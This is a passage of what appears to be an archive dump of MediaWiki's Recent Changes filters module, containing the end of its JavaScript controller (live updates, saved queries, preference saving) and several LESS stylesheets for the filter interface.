	this.filtersModel.setHighlightColor( filterName, color );
	this.uriProcessor.updateURL();
};

/**
 * Clear highlight for a filter item
 *
 * @param {string} filterName Name of the filter item
 */
Controller.prototype.clearHighlightColor = function ( filterName ) {
	this.filtersModel.clearHighlightColor( filterName );
	this.uriProcessor.updateURL();
};

/**
 * Enable or disable live updates.
 *
 * @param {boolean} enable True to enable, false to disable
 */
Controller.prototype.toggleLiveUpdate = function ( enable ) {
	this.changesListModel.toggleLiveUpdate( enable );
	if ( this.changesListModel.getLiveUpdate() && this.changesListModel.getNewChangesExist() ) {
		this.updateChangesList( null, this.LIVE_UPDATE );
	}
};

/**
 * Set a timeout for the next live update.
 *
 * @private
 */
Controller.prototype._scheduleLiveUpdate = function () {
	setTimeout( this._doLiveUpdate.bind( this ), this.pollingRate * 1000 );
};

/**
 * Perform a live update.
 *
 * @private
 */
Controller.prototype._doLiveUpdate = function () {
	if ( !this._shouldCheckForNewChanges() ) {
		// skip this turn and check back later
		this._scheduleLiveUpdate();
		return;
	}

	this._checkForNewChanges()
		.then( function ( statusCode ) {
			// no result is 204 with the 'peek' param
			// logged out is 205
			var newChanges = statusCode === 200;

			if ( !this._shouldCheckForNewChanges() ) {
				// by the time the response is received,
				// it may not be appropriate anymore
				return;
			}

			// 205 is the status code returned from server when user's logged in/out
			// status is not matching while fetching live update changes.
			// This works only on Recent Changes page. For WL, look _extractChangesListInfo.
			// Bug: T177717
			if ( statusCode === 205 ) {
				location.reload( false );
				return;
			}

			if ( newChanges ) {
				if ( this.changesListModel.getLiveUpdate() ) {
					return this.updateChangesList( null, this.LIVE_UPDATE );
				} else {
					this.changesListModel.setNewChangesExist( true );
				}
			}
		}.bind( this ) )
		.always( this._scheduleLiveUpdate.bind( this ) );
};

/**
 * @return {boolean} It's appropriate to check for new changes now
 * @private
 */
Controller.prototype._shouldCheckForNewChanges = function () {
	return !document.hidden &&
		!this.filtersModel.hasConflict() &&
		!this.changesListModel.getNewChangesExist() &&
		!this.updatingChangesList &&
		this.changesListModel.getNextFrom();
};

/**
 * Check if new changes, newer than those currently shown, are available
 *
 * @return {jQuery.Promise} Promise object that resolves with a bool
 *   specifying if there are new changes or not
 *
 * @private
 */
Controller.prototype._checkForNewChanges = function () {
	var params = {
		limit: 1,
		peek: 1, // bypasses ChangesList specific UI
		from: this.changesListModel.getNextFrom(),
		isAnon: mw.user.isAnon()
	};
	return this._queryChangesList( 'liveUpdate', params ).then(
		function ( data ) {
			return data.status;
		}
	);
};

/**
 * Show the new changes
 *
 * @return {jQuery.Promise} Promise object that resolves after
 * fetching and showing the new changes
 */
Controller.prototype.showNewChanges = function () {
	return this.updateChangesList( null, this.SHOW_NEW_CHANGES );
};

/**
 * Save the current model state as a saved query
 *
 * @param {string} [label] Label of the saved query
 * @param {boolean} [setAsDefault=false] This query should be set as the default
 */
Controller.prototype.saveCurrentQuery = function ( label, setAsDefault ) {
	// Add item
	this.savedQueriesModel.addNewQuery(
		label || mw.msg( 'rcfilters-savedqueries-defaultlabel' ),
		this.filtersModel.getCurrentParameterState( true ),
		setAsDefault
	);

	// Save item
	this._saveSavedQueries();
};

/**
 * Remove a saved query
 *
 * @param {string} queryID Query id
 */
Controller.prototype.removeSavedQuery = function ( queryID ) {
	this.savedQueriesModel.removeQuery( queryID );

	this._saveSavedQueries();
};

/**
 * Rename a saved query
 *
 * @param {string} queryID Query id
 * @param {string} newLabel New label for the query
 */
Controller.prototype.renameSavedQuery = function ( queryID, newLabel ) {
	var queryItem = this.savedQueriesModel.getItemByID( queryID );

	if ( queryItem ) {
		queryItem.updateLabel( newLabel );
	}
	this._saveSavedQueries();
};

/**
 * Set a saved query as default
 *
 * @param {string} queryID Query Id. If null is given, default
 *  query is reset.
 */
Controller.prototype.setDefaultSavedQuery = function ( queryID ) {
	this.savedQueriesModel.setDefault( queryID );
	this._saveSavedQueries();
};

/**
 * Load a saved query
 *
 * @param {string} queryID Query id
 */
Controller.prototype.applySavedQuery = function ( queryID ) {
	var currentMatchingQuery,
		params = this.savedQueriesModel.getItemParams( queryID );

	currentMatchingQuery = this.findQueryMatchingCurrentState();

	if (
		currentMatchingQuery &&
		currentMatchingQuery.getID() === queryID
	) {
		// If the query we want to load is the one that is already
		// loaded, don't reload it
		return;
	}

	if ( this.applyParamChange( params ) ) {
		// Update changes list only if there was a difference in filter selection
		this.updateChangesList();
	} else {
		this.uriProcessor.updateURL( params );
	}
};

/**
 * Check whether the current filter and highlight state exists
 * in the saved queries model.
 *
 * @return {mw.rcfilters.dm.SavedQueryItemModel} Matching item model
 */
Controller.prototype.findQueryMatchingCurrentState = function () {
	return this.savedQueriesModel.findMatchingQuery(
		this.filtersModel.getCurrentParameterState( true )
	);
};

/**
 * Save the current state of the saved queries model with all
 * query item representation in the user settings.
 */
Controller.prototype._saveSavedQueries = function () {
	var stringified, oldPrefValue,
		backupPrefName = this.savedQueriesPreferenceName + '-versionbackup',
		state = this.savedQueriesModel.getState();

	// Stringify state
	stringified = JSON.stringify( state );

	if ( byteLength( stringified ) > 65535 ) {
		// Double check, since the preference can only hold that.
		return;
	}

	if ( !this.wereSavedQueriesSaved && this.savedQueriesModel.isConverted() ) {
		// The queries were converted from the previous version
		// Keep the old string in the [prefname]-versionbackup
		oldPrefValue = mw.user.options.get( this.savedQueriesPreferenceName );

		// Save the old preference in the backup preference
		new mw.Api().saveOption( backupPrefName, oldPrefValue );
		// Update the preference for this session
		mw.user.options.set( backupPrefName, oldPrefValue );
	}

	// Save the preference
	new mw.Api().saveOption( this.savedQueriesPreferenceName, stringified );
	// Update the preference for this session
	mw.user.options.set( this.savedQueriesPreferenceName, stringified );

	// Tag as already saved so we don't do this again
	this.wereSavedQueriesSaved = true;
};

/**
 * Update sticky preferences with current model state
 */
Controller.prototype.updateStickyPreferences = function () {
	// Update default sticky values with selected, whether they came from
	// the initial defaults or from the URL value that is being normalized
	this.updateDaysDefault( this.filtersModel.getGroup( 'days' ).findSelectedItems()[ 0 ].getParamName() );
	this.updateLimitDefault( this.filtersModel.getGroup( 'limit' ).findSelectedItems()[ 0 ].getParamName() );

	// TODO: Make these automatic by having the model go over sticky
	// items and update their default values automatically
};

/**
 * Update the limit default value
 *
 * @param {number} newValue New value
 */
Controller.prototype.updateLimitDefault = function ( newValue ) {
	this.updateNumericPreference( this.limitPreferenceName, newValue );
};

/**
 * Update the days default value
 *
 * @param {number} newValue New value
 */
Controller.prototype.updateDaysDefault = function ( newValue ) {
	this.updateNumericPreference( this.daysPreferenceName, newValue );
};

/**
 * Update the group by page default value
 *
 * @param {boolean} newValue New value
 */
Controller.prototype.updateGroupByPageDefault = function ( newValue ) {
	this.updateNumericPreference( 'usenewrc', Number( newValue ) );
};

/**
 * Update the collapsed state value
 *
 * @param {boolean} isCollapsed Filter area is collapsed
 */
Controller.prototype.updateCollapsedState = function ( isCollapsed ) {
	this.updateNumericPreference( this.collapsedPreferenceName, Number( isCollapsed ) );
};

/**
 * Update a numeric preference with a new value
 *
 * @param {string} prefName Preference name
 * @param {number|string} newValue New value
 */
Controller.prototype.updateNumericPreference = function ( prefName, newValue ) {
	// FIXME: $.isNumeric is deprecated
	// eslint-disable-next-line no-jquery/no-is-numeric
	if ( !$.isNumeric( newValue ) ) {
		return;
	}

	if ( String( mw.user.options.get( prefName ) ) !== String( newValue ) ) {
		// Save the preference
		new mw.Api().saveOption( prefName, newValue );
		// Update the preference for this session
		mw.user.options.set( prefName, newValue );
	}
};

/**
 * Synchronize the URL with the current state of the filters
 * without adding a history entry.
 */
Controller.prototype.replaceUrl = function () {
	this.uriProcessor.updateURL();
};

/**
 * Update filter state (selection and highlighting) based
 * on current URL values.
 *
 * @param {boolean} [fetchChangesList=true] Fetch new results into the changes
 *  list based on the updated model.
 */
Controller.prototype.updateStateFromUrl = function ( fetchChangesList ) {
	fetchChangesList = fetchChangesList === undefined ? true : !!fetchChangesList;

	this.uriProcessor.updateModelBasedOnQuery();

	// Update the sticky preferences, in case we received a value
	// from the URL
	this.updateStickyPreferences();

	// Only update and fetch new results if it is requested
	if ( fetchChangesList ) {
		this.updateChangesList();
	}
};

/**
 * Update the list of changes and notify the model
 *
 * @param {Object} [params] Extra parameters to add to the API call
 * @param {string} [updateMode='filterChange'] One of 'filterChange', 'liveUpdate', 'showNewChanges', 'markSeen'
 * @return {jQuery.Promise} Promise that is resolved when the update is complete
 */
Controller.prototype.updateChangesList = function ( params, updateMode ) {
	updateMode = updateMode === undefined ? this.FILTER_CHANGE : updateMode;

	if ( updateMode === this.FILTER_CHANGE ) {
		this.uriProcessor.updateURL( params );
	}
	if ( updateMode === this.FILTER_CHANGE || updateMode === this.SHOW_NEW_CHANGES ) {
		this.changesListModel.invalidate();
	}
	this.changesListModel.setNewChangesExist( false );
	this.updatingChangesList = true;
	return this._fetchChangesList()
		.then(
			// Success
			function ( pieces ) {
				var $changesListContent = pieces.changes,
					$fieldset = pieces.fieldset;
				this.changesListModel.update(
					$changesListContent,
					$fieldset,
					pieces.noResultsDetails,
					false,
					// separator between old and new changes
					updateMode === this.SHOW_NEW_CHANGES || updateMode === this.LIVE_UPDATE
				);
			}.bind( this )
			// Do nothing for failure
		)
		.always( function () {
			this.updatingChangesList = false;
		}.bind( this ) );
};

/**
 * Get an object representing the default parameter state, whether
 * it is from the model defaults or from the saved queries.
 *
 * @return {Object} Default parameters
 */
Controller.prototype._getDefaultParams = function () {
	if ( this.savedQueriesModel.getDefault() ) {
		return this.savedQueriesModel.getDefaultParams();
	} else {
		return this.filtersModel.getDefaultParams();
	}
};

/**
 * Query the list of changes from the server for the current filters
 *
 * @param {string} counterId Id for this request. To allow concurrent requests
 *  not to invalidate each other.
 * @param {Object} [params={}] Parameters to add to the query
 *
 * @return {jQuery.Promise} Promise object resolved with { content, status }
 */
Controller.prototype._queryChangesList = function ( counterId, params ) {
	var uri = this.uriProcessor.getUpdatedUri(),
		stickyParams = this.filtersModel.getStickyParamsValues(),
		requestId,
		latestRequest;

	params = params || {};
	params.action = 'render'; // bypasses MW chrome

	uri.extend( params );

	this.requestCounter[ counterId ] = this.requestCounter[ counterId ] || 0;
	requestId = ++this.requestCounter[ counterId ];
	latestRequest = function () {
		return requestId === this.requestCounter[ counterId ];
	}.bind( this );

	// Sticky parameters override the URL params
	// this is to make sure that whether we represent
	// the sticky params in the URL or not (they may
	// be normalized out) the sticky parameters are
	// always being sent to the server with their
	// current/default values
	uri.extend( stickyParams );

	return $.ajax( uri.toString() )
		.then(
			function ( content, message, jqXHR ) {
				if ( !latestRequest() ) {
					return $.Deferred().reject();
				}
				return {
					content: content,
					status: jqXHR.status
				};
			},
			// RC returns 404 when there is no results
			function ( jqXHR ) {
				if ( latestRequest() ) {
					return $.Deferred().resolve(
						{
							content: jqXHR.responseText,
							status: jqXHR.status
						}
					).promise();
				}
			}
		);
};

/**
 * Fetch the list of changes from the server for the current filters
 *
 * @return {jQuery.Promise} Promise object that will resolve with the changes list
 *  and the fieldset.
 */
Controller.prototype._fetchChangesList = function () {
	return this._queryChangesList( 'updateChangesList' )
		.then(
			function ( data ) {
				var $parsed;

				// Status code 0 is not HTTP status code,
				// but is valid value of XMLHttpRequest status.
				// It is used for variety of network errors, for example
				// when an AJAX call was cancelled before getting the response
				if ( data && data.status === 0 ) {
					return {
						changes: 'NO_RESULTS',
						// We need empty result set, to avoid exceptions because of undefined value
						fieldset: $( [] ),
						noResultsDetails: 'NO_RESULTS_NETWORK_ERROR'
					};
				}

				$parsed = $( '<div>' ).append( $( $.parseHTML(
					data ? data.content : ''
				) ) );

				return this._extractChangesListInfo( $parsed, data.status );
			}.bind( this )
		);
};

/**
 * Apply a change of parameters to the model state, and check whether
 * the new state is different than the old state.
 *
 * @param  {Object} newParamState New parameter state to apply
 * @return {boolean} New applied model state is different than the previous state
 */
Controller.prototype.applyParamChange = function ( newParamState ) {
	var after,
		before = this.filtersModel.getSelectedState();

	this.filtersModel.updateStateFromParams( newParamState );

	after = this.filtersModel.getSelectedState();

	return !OO.compare( before, after );
};

/**
 * Mark all changes as seen on Watchlist
 */
Controller.prototype.markAllChangesAsSeen = function () {
	var api = new mw.Api();
	api.postWithToken( 'csrf', {
		formatversion: 2,
		action: 'setnotificationtimestamp',
		entirewatchlist: true
	} ).then( function () {
		this.updateChangesList( null, 'markSeen' );
	}.bind( this ) );
};

/**
 * Set the current search for the system.
 *
 * @param {string} searchQuery Search query, including triggers
 */
Controller.prototype.setSearch = function ( searchQuery ) {
	this.filtersModel.setSearch( searchQuery );
};

/**
 * Switch the view by changing the search query trigger
 * without changing the search term
 *
 * @param  {string} view View to change to
 */
Controller.prototype.switchView = function ( view ) {
	this.setSearch(
		this.filtersModel.getViewTrigger( view ) +
		this.filtersModel.removeViewTriggers( this.filtersModel.getSearch() )
	);
};

/**
 * Reset the search for a specific view. This means we null the search query
 * and replace it with the relevant trigger for the requested view
 *
 * @param  {string} [view='default'] View to change to
 */
Controller.prototype.resetSearchForView = function ( view ) {
	view = view || 'default';

	this.setSearch(
		this.filtersModel.getViewTrigger( view )
	);
};

module.exports = Controller;
mediawiki.rcfilters/HighlightColors.js000066600000000402151335045660014142 0ustar00/**
 * Supported highlight colors.
 * Warning: These are also hardcoded in "styles/mw.rcfilters.variables.less"
 *
 * @member mw.rcfilters
 * @property {string[]}
 */
var HighlightColors = [ 'c1', 'c2', 'c3', 'c4', 'c5' ];

module.exports = HighlightColors;
mediawiki.rcfilters/styles/mw.rcfilters.ui.ValuePickerWidget.less000066600000000164151335045660021343 0ustar00.mw-rcfilters-ui-valuePickerWidget {
	&-title {
		display: block;
		font-weight: bold;
		margin-bottom: 0.5em;
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.ViewSwitchWidget.less000066600000000301151335045660021216 0ustar00@import 'mediawiki.skin.variables.less';

.mw-rcfilters-ui-viewSwitchWidget {
	label.oo-ui-labelWidget {
		color: @color-subtle;
		font-weight: bold;
	}

	&-buttons {
		margin-top: 0.5em;
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.variables.less000066600000002312151335045660017316 0ustar00// “External” variables
@font-size-system-ui: 16; // Assumed browser default of `16px`
@font-size-vector: 0.875 / 1em; // equals `14px` at browser default of `16px`

// RCFilters variables
// Colors not on WikimediaUI color palette
@background-color-rcfilters-light-gray: #dee0e3;
@background-color-rcfilters-light-green: #ccdecc;

// Highlight color definitions
@highlight-none: #fff;
@highlight-c1: #36c;
@highlight-c2: #00af89;
@highlight-c3: #fc3;
@highlight-c4: #ff6d22;
@highlight-c5: #d33;
@highlight-bluedot: #1d4aad; // Simulates the 'known' browser <li> blue dot
@highlight-grey: #54595d; // The color of full dots on Watchlist when highlight is enabled

// Circles
@min-size-circle: 20px;
@size-circle: 20 / @font-size-system-ui / @font-size-vector;
@margin-circle: 5 / @font-size-system-ui / @font-size-vector;

// Result list circle indicators
// Defined and used in mw.rcfilters.ui.ChangesListWrapperWidget.less
@margin-circle-result: 3px;
// In these small sizes, 'em' appears
// squished and inconsistent.
// Pixels are better for this use case:
@size-circle-result: 6px;

// Color picker circles
@min-size-circle-colorpicker: 30px;
@size-circle-colorpicker: 30 / @font-size-system-ui / @font-size-vector;
mediawiki.rcfilters/styles/mw.rcfilters.ui.ChangesListWrapperWidget.highlightCircles.seenunseen.less000066600000004052151335045660030320 0ustar00@import 'mediawiki.skin.variables.less';
@import 'mw.rcfilters.mixins.less';

.mw-rcfilters-ui-changesListWrapperWidget {
	ul {
		list-style: none;

		li {
			list-style: none;
		}
	}
}

// Make more specific for the overrides
div.mw-rcfilters-ui-highlights {
	body.mw-rcfilters-ui-initialized & {
		display: inline-block;
	}

	&-color {
		&-none {
			display: inline-block;
			.mw-rcfilters-circle( @size-circle-result, @size-circle-result, 0 );

			.mw-changeslist-watchedseen & {
				.mw-rcfilters-ui-changesListWrapperWidget.mw-rcfilters-ui-changesListWrapperWidget-highlighted & {
					.mw-rcfilters-circle-color( @highlight-none, true, @highlight-grey, true );
				}

				.mw-rcfilters-ui-changesListWrapperWidget:not( .mw-rcfilters-ui-changesListWrapperWidget-highlighted ) & {
					.mw-rcfilters-circle-color( @highlight-none, true, @highlight-bluedot, true );
				}
			}

			.mw-changeslist-watchedunseen & {
				.mw-rcfilters-ui-changesListWrapperWidget.mw-rcfilters-ui-changesListWrapperWidget-highlighted & {
					.mw-rcfilters-circle-color( @highlight-grey, true, @highlight-grey );
				}

				.mw-rcfilters-ui-changesListWrapperWidget:not( .mw-rcfilters-ui-changesListWrapperWidget-highlighted ) & {
					.mw-rcfilters-circle-color( @highlight-bluedot, true, @highlight-bluedot );
				}
			}
		}

		// Watchlist unseen highlighted fixes
		// Seen (empty circle)
		// There's no need to correct 'unseen' because that would be
		// a filled colorful circle, which is the regular rendering
		.mw-changeslist-watchedseen &-c1 {
			.mw-rcfilters-circle-color( @highlight-c1, true, @highlight-c1, true );
		}

		.mw-changeslist-watchedseen &-c2 {
			.mw-rcfilters-circle-color( @highlight-c2, true, @highlight-c2, true );
		}

		.mw-changeslist-watchedseen &-c3 {
			.mw-rcfilters-circle-color( @highlight-c3, true, @highlight-c3, true );
		}

		.mw-changeslist-watchedseen &-c4 {
			.mw-rcfilters-circle-color( @highlight-c4, true, @highlight-c4, true );
		}

		.mw-changeslist-watchedseen &-c5 {
			.mw-rcfilters-circle-color( @highlight-c5, true, @highlight-c5, true );
		}
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.WatchlistTopSectionWidget.less000066600000002252151335045660023103 0ustar00@import 'mediawiki.skin.variables.less';

.mw-rcfilters-ui-watchlistTopSectionWidget {
	&-watchlistDetails {
		width: 100%;
	}

	&-savedLinksTable {
		margin-top: 1em;
	}

	&-separator {
		margin-top: 1em;
		border-top: 2px @border-style-base #eaecf0;
	}
}

// On small screens, remove the table properties from the
// top section. T225127#5518870
@media screen and ( max-width: @width-breakpoint-tablet ) {
	.mw-rcfilters-ui-watchlistTopSectionWidget {
		.mw-rcfilters-ui-table,
		.mw-rcfilters-ui-row,
		.mw-rcfilters-ui-cell {
			display: block;
		}

		.mw-rcfilters-ui-cell {
			margin-bottom: 1em;
			width: 100%;
		}

		&-editWatchlistButton {
			margin-top: 1em;
		}
	}
}

// styles that should only kick in for tablet mode:
@media screen and ( min-width: @width-breakpoint-tablet ) {
	.mw-rcfilters-ui-watchlistTopSectionWidget {

		// T235535
		&-editWatchlistButton {
			vertical-align: bottom;
			// Match the width that we are setting up for the loading
			// of the .watchlistDetails in mw.rcfilters.less
			min-width: 20em;
			text-align: right;

			// actual button
			.oo-ui-buttonWidget {
				margin-left: 3em;
			}
		}

		// T235536
		&-savedLinks {
			float: right;
		}
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.SavedLinksListItemWidget.less000066600000002260151335045660022646 0ustar00@import 'mediawiki.skin.variables.less';

.mw-rcfilters-ui-savedLinksListItemWidget {
	line-height: normal;

	&,
	&.oo-ui-iconElement {
		padding: 0 0.5em;
	}

	&:hover {
		// Mimicking optionWidget styles
		background-color: @background-color-interactive;
		color: @color-emphasized;
	}

	.mw-rcfilters-ui-cell {
		vertical-align: middle;
	}

	.mw-rcfilters-ui-savedLinksListItemWidget-icon .oo-ui-iconElement-icon {
		// Since we made the rows narrower (height smaller than usual)
		// then the icon needs to be slightly smaller as well, so that
		// when we toggle 'default' the icon doesn't bounce the option
		// height up a little
		width: 1.2em;
		height: 1.2em;
		min-width: 16px;
		min-height: 16px;
		opacity: 0.5;
		left: 0;
		position: relative;
	}

	&-icon span {
		display: inline-block;
	}

	&-input {
		display: inline-block;
		margin-right: 0;
		width: 15em;
	}

	&-label {
		color: @color-progressive;
		max-width: 15em;
		display: inline-block;
		vertical-align: middle;
		text-overflow: ellipsis;
		white-space: nowrap;
		overflow: hidden;
		cursor: pointer;
		margin-left: 0.5px;
	}

	&-icon,
	&-button {
		width: 2em;
	}

	&-content {
		width: 100%;
		line-height: normal;
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.CapsuleItemWidget.monobook.less000066600000000461151335045660023166 0ustar00.mw-rcfilters-ui-capsuleItemWidget {
	.oo-ui-buttonElement {
		// Override the vertical align for the close button
		// for some unknown reason, this rule, in combination
		// with the negative margin-top rule, pushes all the
		// close buttons up above the capsule item.
		vertical-align: baseline;
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.RclTargetPageWidget.less000066600000000074151335045660021615 0ustar00.mw-rcfilters-ui-rclTargetPageWidget {
	min-width: 400px;
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.RcTopSectionWidget.less000066600000001142151335045660021502 0ustar00@import 'mediawiki.skin.variables.less';

.mw-rcfilters-ui-rcTopSectionWidget {
	&-topLinks {
		&-table {
			width: 100%;
		}

		&-top {
			display: block;
			width: 100%;
		}
	}

	&-savedLinks {
		vertical-align: bottom;
		padding-left: 1em;
	}
}

@media screen and ( max-width: @width-breakpoint-tablet ) {
	.mw-rcfilters-ui-rcTopSectionWidget {
		& > .mw-rcfilters-ui-table > .mw-rcfilters-ui-row {
			display: flex;
			flex-wrap: wrap;
		}

		&-savedLinks {
			padding-left: 0;
		}

		&-topLinks-table {
			width: auto;
			flex-grow: 1;
		}

		.mw-rcfilters-ui-table-placeholder {
			width: auto;
		}
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.FilterItemHighlightButton.less000066600000001444151335045660023057 0ustar00@import 'mediawiki.skin.variables.less';
@import 'mw.rcfilters.variables.less';
@import 'mw.rcfilters.mixins.less';

.mw-rcfilters-ui-filterItemHighlightButton {
	.oo-ui-buttonWidget.oo-ui-popupButtonWidget .oo-ui-buttonElement-button > &-circle {
		background-image: none;
		display: inline-block;
		vertical-align: middle;
		// Override OOUI rule on frameless icons
		opacity: 1;
		.mw-rcfilters-circle( @min-size-circle, @size-circle, @margin-circle 0 );

		&-color {
			&-c1 {
				.mw-rcfilters-circle-color( @highlight-c1 );
			}

			&-c2 {
				.mw-rcfilters-circle-color( @highlight-c2 );
			}

			&-c3 {
				.mw-rcfilters-circle-color( @highlight-c3 );
			}

			&-c4 {
				.mw-rcfilters-circle-color( @highlight-c4 );
			}

			&-c5 {
				.mw-rcfilters-circle-color( @highlight-c5 );
			}
		}
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.FilterMenuSectionOptionWidget.less000066600000001616151335045660023724 0ustar00@import 'mediawiki.skin.variables.less';
@import 'mw.rcfilters.variables.less';
@import 'mediawiki.mixins.less';

.mw-rcfilters-ui-filterMenuSectionOptionWidget {
	background-color: @background-color-interactive;
	padding-top: 0;
	padding-bottom: 0;

	&-header {
		height: 2.5em;
		display: flex;
		align-items: center;
	}

	&-header-title.oo-ui-labelElement-label {
		color: @color-subtle;
	}

	&-whatsThisButton {
		margin-left: 1.5em;

		&.oo-ui-buttonElement > .oo-ui-buttonElement-button {
			font-weight: normal;
		}

		&-popup-content {
			padding: 1em;

			&-header {
				margin-bottom: 1em;
				font-weight: bold;
			}

			&-link {
				margin: 1em 0;
			}

			.oo-ui-buttonElement-frameless.oo-ui-labelElement > .oo-ui-buttonElement-button > .oo-ui-labelElement-label {
				margin-left: 0;
			}
		}
	}

	&-active .mw-rcfilters-ui-filterMenuSectionOptionWidget-header-title {
		font-weight: bold;
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.HighlightColorPickerWidget.less000066600000006375151335045660023207 0ustar00@import 'mediawiki.skin.variables.less';
@import 'mw.rcfilters.variables.less';
@import 'mw.rcfilters.mixins.less';

.mw-rcfilters-ui-highlightColorPickerWidget {
	&-label {
		display: block;
		font-weight: bold;
		font-size: 1.1425em;
	}

	&-buttonSelect {
		&-color {
			.mw-rcfilters-circle( @min-size-circle-colorpicker, @size-circle-colorpicker, @margin-circle );

			// Override OOUI rule from padded popup;
			// We set margin-top as ≈0.357em≈5px for all circles so we get
			// a consistent result
			&.oo-ui-buttonElement {
				margin-top: @margin-circle;

				// Override OOUI rule on frameless :first-child buttons
				&:first-child {
					margin-left: 0;
				}
			}

			// Make the rule much more specific to override OOUI
			&.oo-ui-buttonElement-frameless > .oo-ui-buttonElement-button > .oo-ui-iconElement-icon.oo-ui-icon-check {
				// Align centered horizontally within the color circle
				top: -2px;
				left: 4 / @font-size-system-ui / @font-size-vector;
				// Override OOUI rule on frameless icons
				opacity: 1;
			}

			&-none {
				.mw-rcfilters-circle-color( @highlight-none, true );
				// Override `border-style` to `dashed`
				border-style: dashed;

				&.oo-ui-buttonElement-frameless > .oo-ui-buttonElement-button > .oo-ui-iconElement-icon.oo-ui-icon-check {
					// Align centered horizontally in the dashed white circle with 1px border-width
					left: 3 / @font-size-system-ui / @font-size-vector;
				}

				&.oo-ui-buttonOptionWidget.oo-ui-buttonElement-active,
				&.oo-ui-buttonOptionWidget.oo-ui-optionWidget-pressed,
				&.oo-ui-buttonOptionWidget.oo-ui-optionWidget-selected {
					background-color: @highlight-none;
				}
			}

			&-c1 {
				.mw-rcfilters-circle-color( @highlight-c1, false );
				border-color: @highlight-c1;

				&.oo-ui-buttonOptionWidget.oo-ui-buttonElement-active,
				&.oo-ui-buttonOptionWidget.oo-ui-optionWidget-pressed,
				&.oo-ui-buttonOptionWidget.oo-ui-optionWidget-selected {
					background-color: @highlight-c1;
				}
			}

			&-c2 {
				.mw-rcfilters-circle-color( @highlight-c2, true );
				border-color: @highlight-c2;

				&.oo-ui-buttonOptionWidget.oo-ui-buttonElement-active,
				&.oo-ui-buttonOptionWidget.oo-ui-optionWidget-pressed,
				&.oo-ui-buttonOptionWidget.oo-ui-optionWidget-selected {
					background-color: @highlight-c2;
				}
			}

			&-c3 {
				.mw-rcfilters-circle-color( @highlight-c3, true );
				border-color: @highlight-c3;

				&.oo-ui-buttonOptionWidget.oo-ui-buttonElement-active,
				&.oo-ui-buttonOptionWidget.oo-ui-optionWidget-pressed,
				&.oo-ui-buttonOptionWidget.oo-ui-optionWidget-selected {
					background-color: @highlight-c3;
				}
			}

			&-c4 {
				.mw-rcfilters-circle-color( @highlight-c4, true );
				border-color: @highlight-c4;

				&.oo-ui-buttonOptionWidget.oo-ui-buttonElement-active,
				&.oo-ui-buttonOptionWidget.oo-ui-optionWidget-pressed,
				&.oo-ui-buttonOptionWidget.oo-ui-optionWidget-selected {
					background-color: @highlight-c4;
				}
			}

			&-c5 {
				.mw-rcfilters-circle-color( @highlight-c5, true );
				border-color: @highlight-c5;

				&.oo-ui-buttonOptionWidget.oo-ui-buttonElement-active,
				&.oo-ui-buttonOptionWidget.oo-ui-optionWidget-pressed,
				&.oo-ui-buttonOptionWidget.oo-ui-optionWidget-selected {
					background-color: @highlight-c5;
				}
			}
		}
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.FilterWrapperWidget.less000066600000001661151335045660021722 0ustar00@import 'mediawiki.skin.variables.less';
@import 'mediawiki.mixins.less';

.mw-rcfilters-collapsed {
	.mw-rcfilters-ui-filterWrapperWidget-bottom {
		display: none;
	}
}

.mw-rcfilters-ui-filterWrapperWidget {
	width: 100%;
	// Make sure this uses the interface direction, not the content direction
	direction: ltr;

	&-viewToggleButtons {
		margin-top: 1em;
	}

	&-bottom {
		.flex-display();
		.flex();
		flex-wrap: wrap;
		margin-top: 1em;
	}

	&-bottom-mobile {
		.oo-ui-buttonElement {
			margin-bottom: 1em;

			&-button {
				text-align: left;
			}
		}

		.mw-rcfilters-ui-changesLimitAndDateButtonWidget {
			order: 1;
		}

		.mw-rcfilters-ui-liveUpdateButtonWidget {
			order: 2;
		}

		.mw-rcfilters-ui-filterWrapperWidget-showNewChanges {
			order: 3;
			font-size: 0.85em;

			& > a {
				white-space: normal;
				/* stylelint-disable-next-line */
				padding-top: 0 !important; //overrides .oo-ui-buttonElement-button
			}
		}
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.RclToOrFromWidget.less000066600000000366151335045660021305 0ustar00.mw-rcfilters-ui-rclToOrFromWidget {
	// need to be very specific to override bg-color
	&.oo-ui-dropdownWidget.oo-ui-widget-enabled {
		.oo-ui-dropdownWidget-handle {
			border: 0;
			background-color: transparent;
			font-weight: bold;
		}
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.ChangesLimitPopupWidget.less000066600000000110151335045660022513 0ustar00.mw-rcfilters-ui-changesLimitPopupWidget {
	margin: 0.7em 0.9375em 0;
}
mediawiki.rcfilters/styles/mw.rcfilters.ui.MenuSelectWidget.less000066600000001067151335045660021200 0ustar00@import 'mediawiki.skin.variables.less';
@import 'mw.rcfilters.variables.less';
@import 'mediawiki.mixins.less';

.mw-rcfilters-ui-menuSelectWidget {
	z-index: auto;
	max-width: 650px;

	&.oo-ui-menuSelectWidget-invisible {
		display: block;
	}

	&-noresults {
		color: @color-subtle;
		padding: 12 / @font-size-system-ui / @font-size-vector;
	}

	&-body {
		max-height: 70vh;
		min-width: 100%;
	}

	&-footer {
		background-color: #f8f9fa;
		border-top: @border-subtle;
		padding: 12 / @font-size-system-ui / @font-size-vector;

		& + & {
			border-top: 0;
		}
	}
}
mediawiki.rcfilters/styles/mw.rcfilters.less000066600000011762151335045660015360 0ustar00@import 'mediawiki.skin.variables.less';
@import 'mw.rcfilters.mixins.less';

@rcfilters-spinner-size: 12px;
@rcfilters-head-min-height: 210px;
@rcfilters-head-margin-bottom: 20px;
@rcfilters-wl-head-min-height: 295px;
@rcfilters-head-min-height-collapsed: 130px;
@rcfilters-wl-head-min-height-collapsed: 220px;

// Corrections for the standard special page
.client-js {
	/* stylelint-disable-next-line selector-class-pattern */
	.cloptions {
		border: 0;
	}

	// Reserve space for the UI while it loads
	.mw-rcfilters-head {
		min-height: @rcfilters-head-min-height;
		margin-bottom: @rcfilters-head-margin-bottom;
	}

	// On the watchlist, reserve a bit more
